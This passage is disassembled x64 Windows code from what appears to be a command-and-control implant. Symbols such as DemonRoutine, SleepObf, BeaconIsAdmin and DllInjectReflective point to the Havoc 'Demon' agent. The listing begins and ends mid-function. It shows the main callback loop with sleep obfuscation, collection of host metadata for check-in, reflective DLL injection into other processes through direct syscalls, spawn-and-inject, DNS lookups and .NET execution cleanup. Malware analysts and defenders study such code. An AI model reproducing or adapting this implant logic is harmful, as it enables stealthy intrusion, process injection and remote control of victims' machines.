140010fa9mov rcx, rbp
140010faccall [rip+0x13992]
140010fb2test eax, eax
140010fb4je 0x140010fc8
140010fb6mov r8l, [rsp+32]
140010fbbmov rcx, [rbx]
140010fbemov rdx, rbp
140010fc1call PackageAddBytes
140010fc6jmp 0x140010fd2
140010fc8
140010fc8loc_140010fc8:
140010fc8mov rcx, [rbx]
140010fcbxor edx, edx
140010fcdcall PackageAddInt32
140010fd2
140010fd2loc_140010fd2:
140010fd2mov ecx, [rsp+32]
140010fd6mov rdi, rbp
140010fd9xor eax, eax
140010fdbrep stosb [rdi], al
140010fddmov rcx, rbp
140010fe0call [rip+0x137c6]
140010fe6jmp 0x140010ff2
140010fe8
140010fe8loc_140010fe8:
140010fe8mov rcx, [rbx]
140010febxor edx, edx
140010fedcall PackageAddInt32
140010ff2
140010ff2loc_140010ff2:
140010ff2xor edx, edx
140010ff4mov r8, rsi
140010ff7mov ecx, 2
140010ffcmov [rsp+32], edx
140011000xor edx, edx
140011002call [rip+0x13794]
140011008test eax, eax
14001100ajne 0x140011075
14001100cmov edx, [rsp+32]
140011010mov ecx, 64
140011015call [rip+0x13789]
14001101bmov rbp, rax
14001101etest rax, rax
140011021je 0x140011075
140011023mov rdi, rax
140011026mov ecx, [rsp+32]
14001102axor eax, eax
14001102crep stosb [rdi], al
14001102emov ecx, 2
140011033mov r8, rsi
140011036mov rdx, rbp
140011039call [rip+0x1375d]
14001103ftest eax, eax
140011041je 0x140011055
140011043mov r8l, [rsp+32]
140011048mov rcx, [rbx]
14001104bmov rdx, rbp
14001104ecall PackageAddBytes
140011053jmp 0x14001105f
140011055
140011055loc_140011055:
140011055mov rcx, [rbx]
140011058xor edx, edx
14001105acall PackageAddInt32
14001105f
14001105floc_14001105f:
14001105fmov ecx, [rsp+32]
140011063mov rdi, rbp
140011066xor eax, eax
140011068rep stosb [rdi], al
14001106amov rcx, rbp
14001106dcall [rip+0x13739]
140011073jmp 0x14001107f
140011075
140011075loc_140011075:
140011075mov rcx, [rbx]
140011078xor edx, edx
14001107acall PackageAddInt32
14001107f
14001107floc_14001107f:
14001107fxor eax, eax
140011081xor ecx, ecx
140011083mov rdx, rsi
140011086mov [rsp+32], eax
14001108acall [rip+0x13a04]
140011090test eax, eax
140011092je 0x1400110ec
140011094mov edx, [rsp+32]
140011098mov ecx, 64
14001109dcall [rip+0x13701]
1400110a3mov rbp, rax
1400110a6test rax, rax
1400110a9je 0x1400110ec
1400110abmov rdx, rsi
1400110aemov rcx, rax
1400110b1call [rip+0x139dd]
1400110b7test eax, eax
1400110b9jne 0x1400110cc
1400110bbmov rcx, [rbx]
1400110belea rdx, [rbp+448]
1400110c5call PackageAddString
1400110cajmp 0x1400110d6
1400110cc
1400110ccloc_1400110cc:
1400110ccmov rcx, [rbx]
1400110cfxor edx, edx
1400110d1call PackageAddInt32
1400110d6
1400110d6loc_1400110d6:
1400110d6mov ecx, [rsp+32]
1400110damov rdi, rbp
1400110ddxor eax, eax
1400110dfrep stosb [rdi], al
1400110e1mov rcx, rbp
1400110e4call [rip+0x136c2]
1400110eajmp 0x1400110f6
1400110ec
1400110ecloc_1400110ec:
1400110ecmov rcx, [rbx]
1400110efxor edx, edx
1400110f1call PackageAddInt32
1400110f6
1400110f6loc_1400110f6:
1400110f6mov rax, [rip+0x13bb9]
1400110fdmov rcx, [rbx]
140011100mov rdi, r12
140011103mov rax, [rax+96]
140011107mov rax, [rax+32]
14001110bmov rdx, [rax+104]
14001110fcall PackageAddWString
140011114mov rax, [rip+0x13b9b]
14001111bmov rcx, [rbx]
14001111emov edx, [rax+64]
140011121call PackageAddInt32
140011126mov rax, [rip+0x13b89]
14001112dmov rcx, [rbx]
140011130mov edx, [rax+72]
140011133call PackageAddInt32
140011138mov rcx, [rbx]
14001113bmov edx, [rip+0x13313]
140011141call PackageAddInt32
140011146mov rcx, [rbx]
140011149mov edx, 2
14001114ecall PackageAddInt32
140011153call BeaconIsAdmin
140011158mov rcx, [rbx]
14001115bmov edx, eax
14001115dcall PackageAddInt32
140011162mov rcx, [rbx]
140011165mov rdx, [rip+0x132c0]
14001116ccall PackageAddInt64
140011171mov ecx, 284
140011176xor eax, eax
140011178rep stosb [rdi], al
14001117amov rcx, r12
14001117dmov [rsp+36], 284
140011185call [rip+0x133d9]
14001118bmov edx, [rsp+40]
14001118fmov rcx, [rbx]
140011192call PackageAddInt32
140011197mov edx, [rsp+44]
14001119bmov rcx, [rbx]
14001119ecall PackageAddInt32
1400111a3movzx edx, [rsp+318]
1400111abmov rcx, [rbx]
1400111aecall PackageAddInt32
1400111b3movzx edx, [rsp+312]
1400111bbmov rcx, [rbx]
1400111becall PackageAddInt32
1400111c3mov edx, [rsp+48]
1400111c7mov rcx, [rbx]
1400111cacall PackageAddInt32
1400111cfmov rcx, [rbx]
1400111d2movzx edx, [rip+0x1327f]
1400111d9call PackageAddInt32
1400111demov rcx, [rbx]
1400111e1mov edx, [rip+0x13279]
1400111e7call PackageAddInt32
1400111ecmov rcx, [rbx]
1400111efmov edx, [rip+0x1326f]
1400111f5call PackageAddInt32
1400111famov rcx, [rbx]
1400111fdmov rdx, [rip+0x13278]
140011204call PackageAddInt64
140011209mov rcx, [rbx]
14001120cmov edx, [rip+0x13272]
140011212call PackageAddInt32
140011217add rsp, 320
14001121epop rbx
14001121fpop rsi
140011220pop rdi
140011221pop rbp
140011222pop r12
140011224ret
140010df0

140011225
140011225 // align 0x10

140011230
140011230DemonRoutine:
140011230sub rsp, 40
140011234
140011234loc_140011234:
140011234cmp [rip+0x1320d], 0
14001123bje 0x140011244
14001123d
14001123dloc_14001123d:
14001123dcall CommandDispatcher
140011242jmp 0x140011262
140011244
140011244loc_140011244:
140011244call TransportInit
140011249test eax, eax
14001124bje 0x140011259
14001124dmov rax, [rip+0x13214]
140011254xor edx, edx
140011256mov [rax+12], edx
140011259
140011259loc_140011259:
140011259cmp [rip+0x131e8], 0
140011260jne 0x14001123d
140011262
140011262loc_140011262:
140011262call SleepObf
140011267jmp 0x140011234
140011230

140011269
140011269 // align 0x10

140011270
140011270DllInjectReflective:
140011270push r15
140011272push r14
140011274push r13
140011276push r12
140011278mov r12l, r8l
14001127bmov r8l, 174
140011281push rbp
140011282mov rbp, r9
140011285push rdi
140011286lea rdi, [rip+0x19805]
14001128dpush rsi
14001128emov rsi, rdx
140011291lea rdx, [rip+0x1b698]
140011298push rbx
140011299sub rsp, 88
14001129dmov ebx, [rsp+192]
1400112a4mov rax, [rsp+216]
1400112acmov [rsp+32], r9
1400112b1mov r9, rcx
1400112b4mov [rsp+160], rcx
1400112bclea rcx, [rip+0x19b40]
1400112c3mov [rsp+48], rax
1400112c8mov [rsp+40], ebx
1400112cccall printf
1400112d1mov rax, [rip+0x1b098]
1400112d8xor ecx, ecx
1400112datest rbp, rbp
1400112ddmov [rsp+72], rcx
1400112e2mov r13w, [rax+88]
1400112e7sete al
1400112eatest ebx, ebx
1400112ecsete dl
1400112efor al, dl
1400112f1jne 0x1400112fe
1400112f3cmp [rsp+160], 0
1400112fcjne 0x140011323
1400112fe
1400112feloc_1400112fe:
1400112felea r9, [rip+0x19b35]
140011305mov r8l, 192
14001130bmov rcx, rdi
14001130eor r12l, -1
140011312lea rdx, [rip+0x1b617]
140011319call printf
14001131ejmp 0x1400117a3
140011323
140011323loc_140011323:
140011323mov rcx, [rsp+160]
14001132bcall ProcessIsWow
140011330mov rcx, rbp
140011333test eax, eax
140011335je 0x14001136a
140011337call GetPeArch
14001133cxor r13l, r13l
14001133fdec eax
140011341je 0x1400113a9
140011343lea r9, [rip+0x19aff]
14001134amov r8l, 202
140011350lea rdx, [rip+0x1b5d9]
140011357mov rcx, rdi
14001135acall printf
14001135fmov r12l, 4097
140011365jmp 0x1400117a3
14001136a
14001136aloc_14001136a:
14001136acall GetPeArch
14001136fcmp eax, 2
140011372jne 0x140011382
140011374test r13w, r13w
140011378setne r13b
14001137cmovzx r13l, r13b
140011380jmp 0x1400113a9
140011382
140011382loc_140011382:
140011382lea r9, [rip+0x19b01]
140011389mov r8l, 210
14001138flea rdx, [rip+0x1b59a]
140011396mov rcx, rdi
140011399call printf
14001139emov r12l, 4098
1400113a4jmp 0x1400117a3
1400113a9
1400113a9loc_1400113a9:
1400113a9mov rcx, rbp
1400113accall GetReflectiveLoaderOffset
1400113b1mov r15l, eax
1400113b4test r15l, r15l
1400113b7je 0x1400113dc
1400113b9mov rcx, rdi
1400113bclea r9, [rip+0x19b08]
1400113c3mov r8l, 216
1400113c9mov edi, 1
1400113celea rdx, [rip+0x1b55b]
1400113d5call printf
1400113dajmp 0x14001142c
1400113dc
1400113dcloc_1400113dc:
1400113dclea r9, [rip+0x19b18]
1400113e3mov r8l, 221
1400113e9lea rdx, [rip+0x1b540]
1400113f0lea rcx, [rip+0x1969b]
1400113f7call printf
1400113fcmov rax, [rip+0x1af6d]
140011403lea edx, [rbx+r12]
140011407mov ecx, 64
14001140cmov r14, rdx
14001140fcall [rax+932]
140011415mov ecx, r12l
140011418mov rdi, rax
14001141brep movsb [rdi], [rsi]
14001141dmov ecx, ebx
14001141fmov rsi, rbp
140011422mov ebx, r14l
140011425mov rbp, rax
140011428rep movsb [rdi], [rsi]
14001142axor edi, edi
14001142c
14001142cloc_14001142c:
14001142cmov r9l, r15l
14001142fmov r8l, 229
140011435lea rdx, [rip+0x1b4f4]
14001143clea rcx, [rip+0x19af9]
140011443call printf
140011448mov rax, [rsp+200]
140011450mov r9, [rsp+208]
140011458mov r8l, 232
14001145elea rdx, [rip+0x1b4cb]
140011465lea rcx, [rip+0x19b00]
14001146cmov [rsp+32], rax
140011471call printf
140011476cmp [rsp+208], 0
14001147fje 0x14001157f
140011485mov r8, [rsp+208]
14001148dmov rdx, [rsp+160]
140011495mov r9l, 4
14001149bxor ecx, ecx
14001149dcall MemoryAlloc
1400114a2mov rsi, rax
1400114a5test rax, rax
1400114a8je 0x14001153b
1400114aemov r9, rax
1400114b1mov r8l, 238
1400114b7lea rdx, [rip+0x1b472]
1400114belea rcx, [rip+0x19ad7]
1400114c5call printf
1400114calea rax, [rsp+72]
1400114cfmov rdx, rsi
1400114d2mov rcx, [rsp+160]
1400114damov [rsp+32], rax
1400114dfmov r9, [rsp+208]
1400114e7mov r8, [rsp+200]
1400114efcall SysNtWriteVirtualMemory
1400114f4lea rcx, [rip+0x19597]
1400114fbtest eax, eax
1400114fdmov r12l, eax
140011500jns 0x140011520
140011502lea r9, [rip+0x19ae3]
140011509mov r8l, 242
14001150flea rdx, [rip+0x1b41a]
140011516call printf
14001151bjmp 0x140011727
140011520
140011520loc_140011520:
140011520lea r9, [rip+0x19b01]
140011527mov r8l, 248
14001152dlea rdx, [rip+0x1b3fc]
140011534call printf
140011539jmp 0x140011581
14001153b
14001153bloc_14001153b:
14001153blea rdx, [rip+0x1b3ee]
140011542lea r9, [rip+0x19b12]
140011549mov r8l, 252
14001154flea rcx, [rip+0x1953c]
140011556call printf
14001155bmov rax, [rip+0x1ae0e]
140011562xor ecx, ecx
140011564call [rax+348]
14001156amov edx, eax
14001156c
14001156cloc_14001156c:
14001156cmov ecx, 1
140011571call PackageTransmitError
140011576
140011576loc_140011576:
140011576or r12l, -1
14001157ajmp 0x140011775
14001157f
14001157floc_14001157f:
14001157fxor esi, esi
140011581
140011581loc_140011581:
140011581mov rdx, [rsp+160]
140011589mov r12l, ebx
14001158cmov r9l, 4
140011592xor ecx, ecx
140011594mov r8, r12
140011597call MemoryAlloc
14001159cmov r14, rax
14001159ftest rax, rax
1400115a2je 0x140011745
1400115a8lea r9, [rip+0x19aee]
1400115afmov r8l, 263
1400115b5lea rdx, [rip+0x1b374]
1400115bclea rcx, [rip+0x194cf]
1400115c3call printf
1400115c8lea rax, [rsp+72]
1400115cdmov r9, r12
1400115d0mov r8, rbp
1400115d3mov [rsp+32], rax
1400115d8mov rcx, [rsp+160]
1400115e0mov rdx, r14
1400115e3call SysNtWriteVirtualMemory
1400115e8mov r12l, eax
1400115ebtest eax, eax
1400115edjs 0x14001170b
1400115f3mov r9, r14
1400115f6mov r8l, 267
1400115fclea rdx, [rip+0x1b32d]
140011603lea rcx, [rip+0x19ab8]
14001160acall printf
14001160fxor edx, edx
140011611mov r8, r14
140011614mov r9l, 16384
14001161amov [rsp+32], 32
140011622and r8, -8192
140011629mov ecx, 2
14001162emov [rsp+72], rdx
140011633mov rdx, [rsp+160]
14001163bcall MemoryProtect
140011640test eax, eax
140011642je 0x1400116d5
140011648mov rax, [rsp+216]
140011650mov r9, rsi
140011653mov r8l, 278
140011659lea rdx, [rip+0x1b2d0]
140011660lea rcx, [rip+0x19a97]
140011667xor r12l, r12l
14001166amov [rax+34], rsi
14001166ecall printf
140011673xor eax, eax
140011675mov [rsp+32], rsi
14001167alea r9, [r14+r15]
14001167emov [rsp+40], rax
140011683mov rdx, [rsp+160]
14001168bmov r8l, r13l
14001168emov ecx, 2
140011693call ThreadCreate
140011698test rax, rax
14001169bjne 0x140011775
1400116a1mov rsi, [rip+0x1acc8]
1400116a8mov r8l, 282
1400116aelea rdx, [rip+0x1b27b]
1400116b5lea rcx, [rip+0x19a66]
1400116bcmov rax, [rsi+2230]
1400116c3mov r9l, [rax+104]
1400116c7call printf
1400116ccmov rax, [rsi+2230]
1400116d3jmp 0x140011703
1400116d5
1400116d5loc_1400116d5:
1400116d5lea r9, [rip+0x19a73]
1400116dcmov r8l, 293
1400116e2lea rdx, [rip+0x1b247]
1400116e9lea rcx, [rip+0x193a2]
1400116f0call printf
1400116f5mov rax, [rip+0x1ac74]
1400116fcmov rax, [rax+2230]
140011703
140011703loc_140011703:
140011703mov edx, [rax+104]
140011706jmp 0x14001156c
14001170b
14001170bloc_14001170b:
14001170bmov r9l, eax
14001170emov r8l, 301
140011714lea rdx, [rip+0x1b215]
14001171blea rcx, [rip+0x19a50]
140011722call printf
140011727
140011727loc_140011727:
140011727mov rax, [rip+0x1ac42]
14001172emov ecx, r12l
140011731call [rax+348]
140011737mov ecx, 1
14001173cmov edx, eax
14001173ecall PackageTransmitError
140011743jmp 0x140011775
140011745
140011745loc_140011745:
140011745mov rax, [rip+0x1ac24]
14001174cmov r8l, 308
140011752lea rdx, [rip+0x1b1d7]
140011759lea rcx, [rip+0x19a61]
140011760mov rax, [rax+2230]
140011767mov r9l, [rax+104]
14001176bcall printf
140011770jmp 0x140011576
140011775
140011775loc_140011775:
140011775dec edi
140011777je 0x1400117a3
140011779mov ecx, ebx
14001177bmov rdi, rbp
14001177exor eax, eax
140011780rep stosb [rdi], al
140011782mov rax, [rip+0x1abe7]
140011789mov r8, rbp
14001178cmov rdx, [rax+2230]
140011793mov rdx, [rdx+96]
140011797mov rcx, [rdx+48]
14001179bxor edx, edx
14001179dcall [rax+332]
1400117a3
1400117a3loc_1400117a3:
1400117a3add rsp, 88
1400117a7mov eax, r12l
1400117aapop rbx
1400117abpop rsi
1400117acpop rdi
1400117adpop rbp
1400117aepop r12
1400117b0pop r13
1400117b2pop r14
1400117b4pop r15
1400117b6ret
140011270

1400117b7
1400117b7 // align 0x10

1400117c0
1400117c0DllSpawnReflective:
1400117c0push r15
1400117c2push r14
1400117c4lea r14, [rip+0x1af65]
1400117cbpush r13
1400117cdmov r13l, edx
1400117d0mov rdx, r14
1400117d3push r12
1400117d5mov r12, rcx
1400117d8lea rcx, [rip+0x19a11]
1400117dfpush rbp
1400117e0mov ebp, r9l
1400117e3push rdi
1400117e4push rsi
1400117e5mov rsi, r8
1400117e8push rbx
1400117e9mov ebx, 4099
1400117eesub rsp, 104
1400117f2mov r15, [rsp+224]
1400117famov [rsp+32], r9l
1400117ffmov r9, r8
140011802mov r8l, 324
140011808lea rdi, [rsp+72]
14001180dmov [rsp+40], r15
140011812call printf
140011817xor eax, eax
140011819mov ecx, 6
14001181erep stosd [rdi], eax
140011820mov rcx, rsi
140011823call GetPeArch
140011828mov r9l, 0x8000004
14001182emov ecx, 1
140011833mov edx, eax
140011835mov rax, [rip+0x1ab34]
14001183cdec edx
14001183emov r8, [rax+264]
140011845cmovne r8, [rax+256]
14001184dxor eax, eax
14001184fmov [rsp+40], 1
140011857mov [rsp+48], rax
14001185clea rax, [rsp+72]
140011861xor edx, edx
140011863mov [rsp+32], rax
140011868call ProcessCreate
14001186dtest eax, eax
14001186fje 0x1400118e9
140011871mov [rsp+56], r15
140011876mov rcx, [rsp+72]
14001187bmov r9, rsi
14001187emov r8l, r13l
140011881mov rax, [rsp+216]
140011889mov [rsp+32], ebp
14001188dmov rdx, r12
140011890mov [rsp+48], rax
140011895mov rax, [rsp+208]
14001189dmov [rsp+40], rax
1400118a2call DllInjectReflective
1400118a7mov ebx, eax
1400118a9test eax, eax
1400118abje 0x1400118e9
1400118adlea r9, [rip+0x19962]
1400118b4mov r8l, 343
1400118bamov rdx, r14
1400118bdlea rcx, [rip+0x191ce]
1400118c4call printf
1400118c9mov rcx, [rsp+72]
1400118cexor edx, edx
1400118d0call ProcessTerminate
1400118d5mov rcx, [rsp+72]
1400118dacall SysNtClose
1400118dfmov rcx, [rsp+80]
1400118e4call SysNtClose
1400118e9
1400118e9loc_1400118e9:
1400118e9add rsp, 104
1400118edmov eax, ebx
1400118efpop rbx
1400118f0pop rsi
1400118f1pop rdi
1400118f2pop rbp
1400118f3pop r12
1400118f5pop r13
1400118f7pop r14
1400118f9pop r15
1400118fbret
1400117c0

1400118fc
1400118fc // align 0x10

140011900
140011900DnsQueryIPv4:
140011900push rdi
140011901xor eax, eax
140011903push rsi
140011904mov rsi, rcx
140011907mov ecx, 12
14001190cpush rbx
14001190dadd rsp, -128
140011911lea rdi, [rsp+80]
140011916rep stosd [rdi], eax
140011918xor eax, eax
14001191amov [rsp+72], rax
14001191fcall InitWSA
140011924test eax, eax
140011926je 0x140011980
140011928xor edx, edx
14001192alea r9, [rsp+72]
14001192flea r8, [rsp+80]
140011934mov rcx, rsi
140011937mov rdi, [rip+0x1aa32]
14001193emov [rsp+84], 2
140011946mov rax, 0x600000001
140011950mov [rsp+88], rax
140011955call [rdi+1940]
14001195blea rdx, [rip+0x1af1e]
140011962test eax, eax
140011964mov r9l, eax
140011967je 0x140011984
140011969mov [rsp+32], rsi
14001196emov r8l, 557
140011974lea rcx, [rip+0x17702]
14001197bcall printf
140011980
140011980loc_140011980:
140011980xor ebx, ebx
140011982jmp 0x1400119d5
140011984
140011984loc_140011984:
140011984mov rcx, [rsp+72]
140011989mov rax, [rcx+32]
14001198dmov ebx, [rax+4]
140011990call [rdi+1948]
140011996mov r9, rsi
140011999mov r8l, 565
14001199flea rdx, [rip+0x1aeda]
1400119a6mov eax, ebx
1400119a8lea rcx, [rip+0x17701]
1400119afshr eax, 24
1400119b2mov [rsp+56], eax
1400119b6mov eax, ebx
1400119b8shr eax, 16
1400119bbmovzx eax, al
1400119bemov [rsp+48], eax
1400119c2movzx eax, bh
1400119c5mov [rsp+40], eax
1400119c9movzx eax, bl
1400119ccmov [rsp+32], eax
1400119d0call printf
1400119d5
1400119d5loc_1400119d5:
1400119d5sub rsp, -128
1400119d9mov eax, ebx
1400119dbpop rbx
1400119dcpop rsi
1400119ddpop rdi
1400119deret
140011900

1400119df
1400119df // align 0x10

1400119e0
1400119e0DnsQueryIPv6:
1400119e0push rbp
1400119e1xor eax, eax
1400119e3mov rbp, rsp
1400119e6push r12
1400119e8push rdi
1400119e9push rsi
1400119eamov rsi, rcx
1400119edmov ecx, 12
1400119f2push rbx
1400119f3and rsp, -16
1400119f7sub rsp, 224
1400119felea rdi, [rsp+176]
140011a06rep stosd [rdi], eax
140011a08xor eax, eax
140011a0amov [rsp+168], rax
140011a12call InitWSA
140011a17test eax, eax
140011a19je 0x140011a82
140011a1bmov rdi, [rip+0x1a94e]
140011a22lea r9, [rsp+168]
140011a2axor edx, edx
140011a2cmov rcx, rsi
140011a2flea r8, [rsp+176]
140011a37lea r12, [rip+0x1ac42]
140011a3emov rax, 0x600000001
140011a48mov [rsp+180], 23
140011a53mov [rsp+184], rax
140011a5bcall [rdi+1940]
140011a61test eax, eax
140011a63mov r9l, eax
140011a66je 0x140011a89
140011a68mov [rsp+32], rsi
140011a6dmov r8l, 598
140011a73mov rdx, r12
140011a76lea rcx, [rip+0x17600]
140011a7dcall printf
140011a82
140011a82loc_140011a82:
140011a82xor ebx, ebx
140011a84jmp 0x140011b58
140011a89
140011a89loc_140011a89:
140011a89mov edx, 16
140011a8emov ecx, 64
140011a93call [rdi+932]
140011a99mov rcx, [rsp+168]
140011aa1mov rbx, rax
140011aa4mov rax, [rcx+32]
140011aa8movups x0, [rax+8]
140011aacmovups [rbx], x0
140011aafcall [rdi+1948]
140011ab5movzx eax, [rbx+15]
140011ab9mov r9, rsi
140011abcmov rdx, r12
140011abfmov r8l, 609
140011ac5lea rcx, [rip+0x17612]
140011accmov [rsp+152], eax
140011ad3movzx eax, [rbx+14]
140011ad7mov [rsp+144], eax
140011ademovzx eax, [rbx+13]
140011ae2mov [rsp+136], eax
140011ae9movzx eax, [rbx+12]
140011aedmov [rsp+128], eax
140011af4movzx eax, [rbx+11]
140011af8mov [rsp+120], eax
140011afcmovzx eax, [rbx+10]
140011b00mov [rsp+112], eax
140011b04movzx eax, [rbx+9]
140011b08mov [rsp+104], eax
140011b0cmovzx eax, [rbx+8]
140011b10mov [rsp+96], eax
140011b14movzx eax, [rbx+7]
140011b18mov [rsp+88], eax
140011b1cmovzx eax, [rbx+6]
140011b20mov [rsp+80], eax
140011b24movzx eax, [rbx+5]
140011b28mov [rsp+72], eax
140011b2cmovzx eax, [rbx+4]
140011b30mov [rsp+64], eax
140011b34movzx eax, [rbx+3]
140011b38mov [rsp+56], eax
140011b3cmovzx eax, [rbx+2]
140011b40mov [rsp+48], eax
140011b44movzx eax, [rbx+1]
140011b48mov [rsp+40], eax
140011b4cmovzx eax, [rbx]
140011b4fmov [rsp+32], eax
140011b53call printf
140011b58
140011b58loc_140011b58:
140011b58lea rsp, [rbp-32]
140011b5cmov rax, rbx
140011b5fpop rbx
140011b60pop rsi
140011b61pop rdi
140011b62pop r12
140011b64pop rbp
140011b65ret
1400119e0

140011b66
140011b66 // align 0x10

140011b70
140011b70DotnetClose:
140011b70push rbp
140011b71push rdi
140011b72push rsi
140011b73push rbx
140011b74sub rsp, 40
140011b78mov rbx, [rip+0x1a7f1]
140011b7fcmp [rbx+223], 1
140011b86jne 0x140011b8f
140011b88xor ecx, ecx
140011b8acall HwBpEngineDestroy
140011b8f
140011b8floc_140011b8f:
140011b8fmov rax, [rbx+2266]
140011b96mov rcx, [rax+104]
140011b9atest rcx, rcx
140011b9dje 0x140011ba4
140011b9fcall SysNtClose
140011ba4
140011ba4loc_140011ba4:
140011ba4mov rax, [rbx+2266]
140011babmov rcx, [rax+72]
140011baftest rcx, rcx
140011bb2je 0x140011bb9
140011bb4call SysNtClose
140011bb9
140011bb9loc_140011bb9:
140011bb9mov rax, [rbx+2266]
140011bc0mov rcx, [rax+80]
140011bc4test rcx, rcx
140011bc7je 0x140011bce
140011bc9call SysNtClose
140011bce
140011bceloc_140011bce:
140011bcemov rax, [rbx+2266]
140011bd5mov rdi, [rax+264]
140011bdctest rdi, rdi
140011bdfje 0x140011c0f
140011be1mov ecx, 1232
140011be6xor eax, eax
140011be8rep stosb [rdi], al
140011beamov rax, [rbx+2266]
140011bf1mov rcx, [rax+264]
140011bf8call [rbx+940]
140011bfemov rax, [rbx+2266]
140011c05xor r8l, r8l
140011c08mov [rax+264], r8
140011c0f
140011c0floc_140011c0f:
140011c0fmov rax, [rbx+2266]
140011c16mov rdi, [rax+272]
140011c1dtest rdi, rdi
140011c20je 0x140011c4f
140011c22mov ecx, 1232
140011c27xor eax, eax
140011c29rep stosb [rdi], al
140011c2bmov rax, [rbx+2266]
140011c32mov rcx, [rax+272]
140011c39call [rbx+940]
140011c3fmov rax, [rbx+2266]
140011c46xor ecx, ecx
140011c48mov [rax+272], rcx
140011c4f
140011c4floc_140011c4f:
140011c4fmov rax, [rbx+2266]
140011c56mov rdi, [rax+280]
140011c5dtest rdi, rdi
140011c60je 0x140011c8f
140011c62mov ecx, 1232
140011c67xor eax, eax
140011c69rep stosb [rdi], al
140011c6bmov rax, [rbx+2266]
140011c72mov rcx, [rax+280]
140011c79call [rbx+940]
140011c7fmov rax, [rbx+2266]
140011c86xor edx, edx
140011c88mov [rax+280], rdx
140011c8f
140011c8floc_140011c8f:
140011c8fmov rax, [rbx+2266]
140011c96mov rdi, [rax+288]
140011c9dtest rdi, rdi
140011ca0je 0x140011ccf
140011ca2mov ecx, 1232
140011ca7xor eax, eax
140011ca9rep stosb [rdi], al
140011cabmov rax, [rbx+2266]
140011cb2xor ebp, ebp
140011cb4mov rcx, [rax+288]
140011cbbcall [rbx+940]
140011cc1mov rax, [rbx+2266]
140011cc8mov [rax+288], rbp
140011ccf
140011ccfloc_140011ccf:
140011ccflea rbp, [rip+0x1aaea]
140011cd6lea rsi, [rip+0x15979]
140011cddmov r8l, 445
140011ce3lea r9, [rip+0x15960]
140011ceamov rdx, rbp
140011cedmov rcx, rsi
140011cf0call printf
140011cf5mov rax, [rbx+2266]
140011cfcmov rdi, [rax+56]
140011d00test rdi, rdi
140011d03je 0x140011d2a
140011d05mov ecx, [rax+64]
140011d08xor eax, eax
140011d0arep stosb [rdi], al
140011d0cmov rax, [rbx+2266]
140011d13xor edi, edi
140011d15mov rcx, [rax+56]
140011d19call [rbx+940]
140011d1fmov rax, [rbx+2266]
140011d26mov [rax+56], rdi
140011d2a
140011d2aloc_140011d2a:
140011d2amov rcx, rsi
140011d2dlea r9, [rip+0x15936]
140011d34mov r8l, 453
140011d3amov rdx, rbp
140011d3dcall printf
140011d42mov rax, [rbx+2266]
140011d49mov rcx, [rax+144]
140011d50test rcx, rcx
140011d53je 0x140011d6b
140011d55call [rbx+1324]
140011d5bmov rax, [rbx+2266]
140011d62xor esi, esi
140011d64mov [rax+144], rsi
140011d6b
140011d6bloc_140011d6b:
140011d6bmov rax, [rbx+2266]
140011d72mov rcx, [rax+200]
140011d79test rcx, rcx
140011d7cje 0x140011d95
140011d7emov rax, [rcx]
140011d81call [rax+16]
140011d84mov rax, [rbx+2266]
140011d8bxor r11l, r11l
140011d8emov [rax+200], r11
140011d95
140011d95loc_140011d95:
140011d95mov rax, [rbx+2266]
140011d9cmov rcx, [rax+176]
140011da3test rcx, rcx
140011da6je 0x140011dbf
140011da8mov rax, [rcx]
140011dabcall [rax+16]
140011daemov rax, [rbx+2266]
140011db5xor r10l, r10l
140011db8mov [rax+176], r10
140011dbf
140011dbfloc_140011dbf:
140011dbfmov rax, [rbx+2266]
140011dc6mov rcx, [rax+192]
140011dcdtest rcx, rcx
140011dd0je 0x140011de9
140011dd2mov rax, [rcx]
140011dd5call [rax+16]
140011dd8mov rax, [rbx+2266]
140011ddfxor r9l, r9l
140011de2mov [rax+192], r9
140011de9
140011de9loc_140011de9:
140011de9mov rax, [rbx+2266]
140011df0mov rcx, [rax+184]
140011df7test rcx, rcx
140011dfaje 0x140011e02
140011dfcmov rax, [rcx]
140011dffcall [rax+16]
140011e02
140011e02loc_140011e02:
140011e02mov rax, [rbx+2266]
140011e09mov rcx, [rax+168]
140011e10test rcx, rcx
140011e13je 0x140011e4a
140011e15mov rdx, [rax+184]
140011e1cmov rax, [rcx]
140011e1fcall [rax+160]
140011e25mov rax, [rbx+2266]
140011e2cmov rcx, [rax+168]
140011e33mov rax, [rcx]
140011e36call [rax+88]
140011e39mov rax, [rbx+2266]
140011e40xor r8l, r8l
140011e43mov [rax+168], r8
140011e4a
140011e4aloc_140011e4a:
140011e4amov rax, [rbx+2266]
140011e51mov rcx, [rax+160]
140011e58test rcx, rcx
140011e5bje 0x140011e73
140011e5dmov rax, [rcx]
140011e60call [rax+16]
140011e63mov rax, [rbx+2266]
140011e6axor ecx, ecx
140011e6cmov [rax+160], rcx
140011e73
140011e73loc_140011e73:
140011e73mov rax, [rbx+2266]
140011e7amov rcx, [rax+152]
140011e81test rcx, rcx
140011e84je 0x140011e9c
140011e86mov rax, [rcx]
140011e89call [rax+16]
140011e8cmov rax, [rbx+2266]
140011e93xor edx, edx
140011e95mov [rax+152], rdx
140011e9c
140011e9cloc_140011e9c:
140011e9cmov rax, [rbx+2266]
140011ea3mov rcx, [rax+96]
140011ea7test rcx, rcx
140011eaaje 0x140011ec3
140011eacxor edx, edx
140011eaecall SysNtTerminateThread
140011eb3mov rax, [rbx+2266]
140011ebamov rcx, [rax+96]
140011ebecall SysNtClose
140011ec3
140011ec3loc_140011ec3:
140011ec3mov rax, [rbx+2266]
140011ecamov rcx, [rax+112]
140011ecetest rcx, rcx
140011ed1je 0x140011ed8
140011ed3call SysNtClose
140011ed8
140011ed8loc_140011ed8:
140011ed8mov rdi, [rbx+2266]
140011edftest rdi, rdi
140011ee2je 0x140011f14
140011ee4mov ecx, 296
140011ee9xor eax, eax
140011eebrep stosb [rdi], al
140011eedmov rax, [rbx+2230]
140011ef4mov r8, [rbx+2266]
140011efbxor edx, edx
140011efdmov rax, [rax+96]
140011f01mov rcx, [rax+48]
140011f05call [rbx+332]
140011f0bxor eax, eax
140011f0dmov [rbx+2266], rax
140011f14
140011f14loc_140011f14:
140011f14add rsp, 40
140011f18pop rbx
140011f19pop rsi
140011f1apop rdi
140011f1bpop rbp
140011f1cret
140011b70

140011f1d
140011f1d // align 0x10

140011f20
140011f20DotnetExecute:
140011f20push rbp
140011f21xor r11l, r11l
140011f24xor eax, eax
140011f26mov rbp, rsp
140011f29push r15
140011f2bpush r14
140011f2dpush r13
140011f2fpush r12
140011f31push rdi
140011f32push rsi
140011f33push rbx
140011f34xor ebx, ebx
140011f36and rsp, -16
140011f3asub rsp, 176
